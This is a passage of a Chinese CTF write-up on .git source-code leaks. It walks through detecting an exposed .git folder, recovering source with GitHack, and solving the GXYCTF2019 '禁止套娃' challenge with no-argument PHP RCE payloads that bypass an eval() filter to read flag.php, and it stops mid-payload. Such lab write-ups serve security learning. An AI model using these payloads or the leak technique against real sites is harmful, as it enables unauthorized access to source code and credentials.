目录
git信息泄露漏洞
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
危害
攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账户密码等,攻击者可能直接控制服务器。
git介绍
参考https://blog.csdn.net/xy_sunny/article/details/107620695
确定是否存在泄露
想要确定是否存在这个漏洞,可以通过以下方式。首先是看看有没有提示醒目地指出 Git,如果有就考虑存在。如果没有也可以使用 dirsearch 工具扫描后台,如果存在则会扫描出 .git 目录如图所示。
当然也可以直接通过网页访问 .git 目录,如果能访问就说明存在。
也可以试着访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露。
获取漏洞的源码
要获取泄露的源码,可以使用 GitHack 工具,下载地址。GitHack 是一个 .git 泄露利用脚本,通过泄露的 .git 文件夹下的文件重建还原工程源代码。在 cmd 命令下键入下面的命令,脚本就会把存在 Git 泄露的源码全部下载下来。
GitHack.py <url>
GitHack使用
工具地址F:\工具包\Web\GitHack-master
通过cmd使用
本电脑
1|f:
2|cd 工具包\Web\GitHack-master
3|python Githack.py http://c3dd5489-c359-4087-a81b-32ff9769493f.node3.buuoj.cn/.git
命令
GitHack.py http://XXXXXXXXXXX/.git/
例题
buu [GXYCTF2019]禁止套娃
知识点:
1./.git泄露
2.无参数RCE
3.各种php函数的使用
登录进去发现什么都没有,看大佬wp后知道是**.git文件泄露从而导致的源码的泄露**
可以用GItHack脚本跑。这个脚本是python2环境,可以放在kali下跑,命令为
python Githack.py http://。 。 。 。 。 。.buuoj.cn/.git
跑完得到index.php源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
源码分析:
- 可以通过get一个exp参数,如果符合条件或者绕过限制,就可以执行。
- 过滤了伪协议读取方式。
- (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
- 过滤了et|na|info|dec|bin|hex|oct|pi|log关键字。
此为无参数RCE。即要使用不传入参数的函数来进行RCE。(无参数RCE参考链接https://www.cnblogs.com/wangtanzhi/p/12311239.html)
根据源码可以知道flag就在flag.php中,然后exp要符合无参数的函数,但是可以套函数,也符合题目名称。
scandir(’.’):扫描当前目录
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos(),current():返回数组第一个值
所以构造?exp=print_r(scandir(pos(localeconv())));
//数组操作函数: end():数组指针指向最后一位 next(): 数组指针指向下一位 array_reverse(): 将数组颠倒 array_rand(): 随机返回数组的键名 array_flip():交换数组的键和值
读取文件函数 file_get_content() :因为et被ban,所以不能使用 readfile() highlight_file() show_source()
方法一:
使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
另:参考:https://blog.csdn.net/weixin_43553654/article/details/107686883
方法二:
同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到):
exp=show_source(array_rand(array